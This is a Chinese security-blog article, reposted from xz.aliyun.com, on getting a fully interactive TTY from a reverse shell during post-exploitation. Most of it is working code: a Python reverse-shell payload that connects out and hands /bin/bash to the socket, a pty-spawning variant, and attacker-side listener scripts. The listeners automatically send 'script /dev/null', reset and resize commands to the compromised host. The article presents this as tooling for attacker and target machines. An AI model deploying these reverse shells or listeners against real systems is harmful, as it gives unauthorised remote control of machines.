关于一次python获得完整交互式shell的研究

关于一次python获得完整交互式shell的研究

前言

(以下基于linux系统)在一次研究后渗透的过程中,我学习到了关于tsh(tiny shell)的使用,虽然它已经是一个有了十几年历史的老工具了,但是仍然值得学习和研究,其中最让我感到惊讶的是利用这个工具连接后门可以获得一个完整的交互式shell(可以使用su,vim等命令,可以使用tab补全,上下箭头)!而众所周知我们利用nc,bash反弹的shell并非交互式的,这引起了我的兴趣,由于我比较熟悉的语言是python,于是对python如何反弹完整交互式shell开始了研究。

关于反弹shell升级

在《如何将简单的Shell转换成为完全交互式的TTY》一文中,我们知道可以通过python提供的pty模块创建一个原生的终端,利用ctrl+z,stty raw -echo;fg,并最终reset来得到一个完全交互式的终端。那么假设目标环境中没有python环境,那么我们要如何达到这个效果呢?
通过搜索资料之后,我发现了使用script /dev/null可以完全代替python提供的pty模块产生一个新的终端,这样就摆脱了对目标环境的依赖,然而利用这种方法有以下几个缺点:

  • 比较繁琐(主要原因,我比较懒)
  • 需要按下两次ctrl+d才能退回到主机的终端,并且此时整个终端都变得一团糟,需要使用reset来让终端恢复正常。

那么有没有方式可以简化以上步骤呢?有!当你通读完全文后,你将获得一个特制的python脚本来接收一个完整的交互式shell!

最初

我从网上查阅了许多相关的问题,但是无法找到一个令我满意的答案。我们先来看看网上流传得最广的python反弹shell的脚本:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",23333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);

这个脚本的原理非常简单。新建一个socket,并将标准输入(0),标准输出(1),错误(2)重定向到socket中,并运行一个shell。当我们执行这个脚本,就达到了与bash反弹shell一样的效果,这意味着我们同样可以用前面说的pty模块获得一个终端....等等,假如我们直接将spawn出的pty直接返回,是否就能够简化上述的一个步骤呢?

于是我有了这样的一个脚本:

# reverse_server.py
from socket import *
from sys import argv
import subprocess
talk = socket(AF_INET, SOCK_STREAM)
talk.connect(("127.0.0.1", 23333))
subprocess.Popen(["python -c 'import pty; pty.spawn(\"/bin/bash\")'"],
                 stdin=talk, stdout=talk, stderr=talk, shell=True)

当我们运行了这个脚本之后,就直接获得了一个pty,省略了我们之前python -c 'import pty; pty.spawn("/bin/bash")' 的步骤。但是这样还不够好,我们能否通过一个特制的接收端来简化我们ctrl+z,stty raw -echo;fg等步骤呢?

初步结果

在与朋友讨论之后,我们拿出了一个这样的接收端:

# reverse_client.py
import sys, select, tty, termios, socket
import _thread as thread
from sys import argv, stdout

class _GetchUnix:
    def __call__(self):
        fd = sys.stdin.fileno()
        old_settings = termios.tcgetattr(fd)
        try:
            tty.setraw(sys.stdin.fileno())
            ch = sys.stdin.read(1)
        finally:
            termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
        return ch


getch = _GetchUnix()

CONN_ONLINE = 1

def daemon(conn):
    while True:
        try:
            tmp = conn.recv(16)
            stdout.buffer.write(tmp)
            stdout.flush()
        except Exception as e:
            # print(e)
            CONN_ONLINE = 0
            # break

if __name__ == "__main__":
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.bind(('0.0.0.0', 23333))
    conn.listen(5)
    talk, addr = conn.accept()
    print("Connect from %s.\n" % addr[0])
    thread.start_new_thread(daemon, (talk,))
    while CONN_ONLINE:
        c = getch()
        if c:
            talk.send(bytes(c, encoding='utf-8'))

其原理是通过getch从标准输入中捕捉所有字符,并将其原封不动地发送给socket,再从socket中接收数据,写入stdout中。

效果

靶机:

攻击机(为了方便展示效果,将原终端的提示符改成TEST):

如你所见,我们获得了一个完整交互式shell

优化,兼容,处理异常

现在我们的脚本还十分简陋,我们需要对这个特制的客户端进行优化,处理异常,兼容python2和python3,于是我们得到了一个这样的脚本:

# reverse_client.py
import socket
import sys
import termios
import tty
from os import path
from sys import stdout


# import thread, deal with byte
if (sys.version_info.major == 2):
    def get_byte(s, encoding="UTF-8"):
        return str(bytearray(s, encoding))
    STDOUT = stdout
    import thread
else:
    def get_byte(s, encoding="UTF-8"):
        return bytes(s, encoding=encoding)
    STDOUT = stdout.buffer
    import _thread as thread

FD = None
OLD_SETTINGS = None

class _GetchUnix:
    def __call__(self):
        global FD, OLD_SETTINGS
        FD = sys.stdin.fileno()
        OLD_SETTINGS = termios.tcgetattr(FD)
        try:
            tty.setraw(sys.stdin.fileno())
            ch = sys.stdin.read(1)
        finally:
            termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
        return ch


getch = _GetchUnix()

CONN_ONLINE = 1


def stdprint(message):
    stdout.write(message)
    stdout.flush()


def close_socket(talk, exit_code=0):
    import os
    global FD, OLD_SETTINGS, CONN_ONLINE
    CONN_ONLINE = 0
    talk.close()
    try:
        termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
    except TypeError:
        pass
    os.system("reset")
    os._exit(exit_code)


def recv_daemon(conn):
    global CONN_ONLINE
    while CONN_ONLINE:
        try:
            tmp = conn.recv(16)
            if (tmp):
                STDOUT.write(tmp)
                stdout.flush()
            else:
                raise socket.error
        except socket.error:
            stdprint("Connection close by socket.\n")
            close_socket(conn, 1)


def main(port):
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    conn.bind(('0.0.0.0', port))
    conn.listen(1)
    try:
        talk, addr = conn.accept()
        stdprint("Connect from %s.\n" % addr[0])
        thread.start_new_thread(recv_daemon, (talk,))
        while CONN_ONLINE:
            c = getch()
            if c:
                try:
                    talk.send(get_byte(c, encoding='utf-8'))
                except socket.error:
                    break
    except KeyboardInterrupt:
        pass
        # stdprint("Connection close by KeyboardInterrupt.\n")
    finally:
        stdprint("Connection close...\n")
        close_socket(conn, 0)


if __name__ == "__main__":
    if (len(sys.argv) < 2):
        print("usage:")
        print("      python %s [port]" % path.basename(sys.argv[0]))
        exit(2)
    main(int(sys.argv[1]))

经过我们的修改,它变得更好了。加入了参数调用,处理了异常,并且兼容python2和python3(攻击机都不需要python3,笑:D)。然而它还有一个关键的问题,目标机子必须运行特制的python脚本。

最终成果

还记得我们一开始的研究吗?我们发现script /dev/null与python spawn出的pty有类似的效果,假如我们用特制的客户端接收shell,靶机使用bash反弹shell会是怎么样的结果呢?

靶机:

攻击机:

看起来我们似乎成功了?输入个命令试试:

天呐,发生了什么,为什么会是一幅烂掉的样子?假如我们试着使用script /dev/null,然后reset

(这里输入的reset并没有显示)

来让我们回车:

没错,我们得到了一个运行正常的完整交互式shell!这说明了利用bash反弹shell来获得完整交互式shell是完全可行的!

于是我们开始优化脚本,在接收到shell之后,通过socket发送指定的命令,来实现我们最终的懒人版!

# reverse_client_bash.py
import socket
import sys
import termios
import tty
from os import path, popen
from sys import stdout


# import thread, deal with byte
if (sys.version_info.major == 2):
    def get_byte(s, encoding="UTF-8"):
        return str(bytearray(s, encoding))
    STDOUT = stdout
    import thread
else:
    def get_byte(s, encoding="UTF-8"):
        return bytes(s, encoding=encoding)
    STDOUT = stdout.buffer
    import _thread as thread

FD = None
OLD_SETTINGS = None

class _GetchUnix:
    def __call__(self):
        global FD, OLD_SETTINGS
        FD = sys.stdin.fileno()
        OLD_SETTINGS = termios.tcgetattr(FD)
        try:
            tty.setraw(sys.stdin.fileno())
            ch = sys.stdin.read(1)
        finally:
            termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
        return ch


getch = _GetchUnix()

CONN_ONLINE = 1


def stdprint(message):
    stdout.write(message)
    stdout.flush()


def close_socket(talk, exit_code=0):
    import os
    global FD, OLD_SETTINGS, CONN_ONLINE
    CONN_ONLINE = 0
    talk.close()
    try:
        termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
    except TypeError:
        pass
    os.system("clear")
    os.system("reset")
    os._exit(exit_code)


def recv_daemon(conn):
    global CONN_ONLINE
    while CONN_ONLINE:
        try:
            tmp = conn.recv(16)
            if (tmp):
                STDOUT.write(tmp)
                stdout.flush()
            else:
                raise socket.error
        except socket.error:
            msg = "Connection close by socket.\n"
            stdprint(msg)
            close_socket(conn, 1)


def main(port):
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    conn.bind(('0.0.0.0', port))
    conn.listen(1)
    reset = True
    try:
        rows, columns = popen('stty size', 'r').read().split()
    except Exception:
        reset = False
    try:
        talk, addr = conn.accept()
        stdprint("Connect from %s.\n" % addr[0])
        thread.start_new_thread(recv_daemon, (talk,))
        talk.send(get_byte("""script /dev/null && exit\n""", encoding='utf-8'))
        talk.send(get_byte("""reset\n""", encoding='utf-8'))
        if (reset):
            talk.send(get_byte("""resize -s %s %s > /dev/null\n""" % (rows, columns), encoding='utf-8'))
        while CONN_ONLINE:
            c = getch()
            if c:
                try:
                    talk.send(get_byte(c, encoding='utf-8'))
                except socket.error:
                    break
    except KeyboardInterrupt:
        pass
        # stdprint("Connection close by KeyboardInterrupt.\n")
    finally:
        stdprint("Connection close...\n")
        close_socket(conn, 0)


if __name__ == "__main__":
    if (len(sys.argv) < 2):
        print("usage:")
        print("      python %s [port]" % path.basename(sys.argv[0]))
        exit(2)
    main(int(sys.argv[1]))

我们在连接shell之后向socket发送了几条命令:

script /dev/null && exit
# 这里exit的作用是当我们ctrl+d退出良好的终端时,自动退出那个坏的终端并返回到我们原始终端。
reset
# 重置tty
resize -s x %x > /dev/null
# 将tty的窗体大小设置为原始终端的窗体大小

That is all!

本文来源于: https://xz.aliyun.com/t/7721

相关推荐

WordPress Real-Time Find and Replace插件CSRF to Stored XSS漏洞分析

前言 Real-Time Find and Replace是一个可以实时查找和替换WordPress网页数据的插件。据统计,该漏洞已安装在100,000多个站点上。 近日Real-Time Find and Replace 3.9版本被披露

说说代理池

近期由于工作中的遇到的问题,在研究代理池,其实代理池应该说已经是比较成熟的技术,而且在飞速发展,比如现在主流的“秒拨”技术,给企业在风险IP识别和判定上带来极大的难度。代理池技术目前被广泛用于爬虫、灰黑产、SEO、网络攻击、刷单、薅羊毛等等

CVE-2020-600/6009/6010/11511:在线学习平台多安全漏洞

漏洞概述 研究人员在最常见的Learning Management Systems(LMS)插件LearnPress、LearnDash和LifterLMS中发现了多个安全漏洞,包括权限提升漏洞、SQL注入、远程代码执行漏洞。 研究人员共发

Wordpress 插件 Media Library Assistant 2.81-(LFI和XSS)

Wordpress 插件 Media Library Assistant 2.81-(LFI和xss) 前言 个人觉得漏洞威胁不算太大,但也作为一个弱鸡的学习经历将其记录下来 Media Library Assistant用于进行图像和文件

浅析TestLink的三个CVE

浅析TestLink的三个CVE 前言:由于一开始文章被吞了后半部分,造成了一些误会,现在都补上啦,谢谢王叹之师傅的提醒,hhh 后来才知道是我加了几个表情的锅2333 Testlink是一个开源的、基于Web的测试管理和测试执行系统,由P

域信息枚举

0x00、前言 域内基本的信息枚举是拿到域内机子之后必不可少的一步,后续操作可以说完全依赖于信息枚举的程度 这里只针对域内信息进行枚举(域用户、域组、ACLs、GPO、OUs、信任关系、一些特殊的账户属性和文件......) 下面列举出Ac

How to hook Android Native methods with Frida (Noob Friendly)

原文地址:https://erev0s.com/blog/how-hook-android-native-methods-frida-noob-friendly/ 在上一篇文章中,我们以Android应用程序为例,并假设我们想要使用C/C+

CVE-2020-0932:使用TYPECONVERTERS在MICROSOFT SHAREPOINT上执行远程代码

来源:https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-ty

域控提权合集

0x01、前言 菜鸡一枚,标题起的可能有点大,只是个人笔记整理的一个合集(所以基本每个例子都会有实例)。所以虽然说是合集,可能都没有囊括到各位大佬会的一半。还请各位大佬轻喷 0x02、目录 GPP和SYSVOL中的密码 MS14-068 D

从0学习WebLogic CVE-2020-2551漏洞

最近遇到的实际环境为weblogic,所以这里顺便总结下测2020-2551的一些相关的点 2551也是学习了很多优秀的师傅文章,非常感谢,个人水平较差、文中错误内容还请师傅们指教纠正。 0X00 漏洞利用基础学习 从0开始学习复现这个洞不

一次稍显曲折的爆破经历

拿到手域名一个 cc.test.com 打开后直接就是一个登陆框 随手输入admin准备打密码,提示管理员不存在 说明此处可以爆破用户名,使用字典爆破得到三个用户名 test wangw wangy 登陆抓包密码被md5加密了 使用多账号爆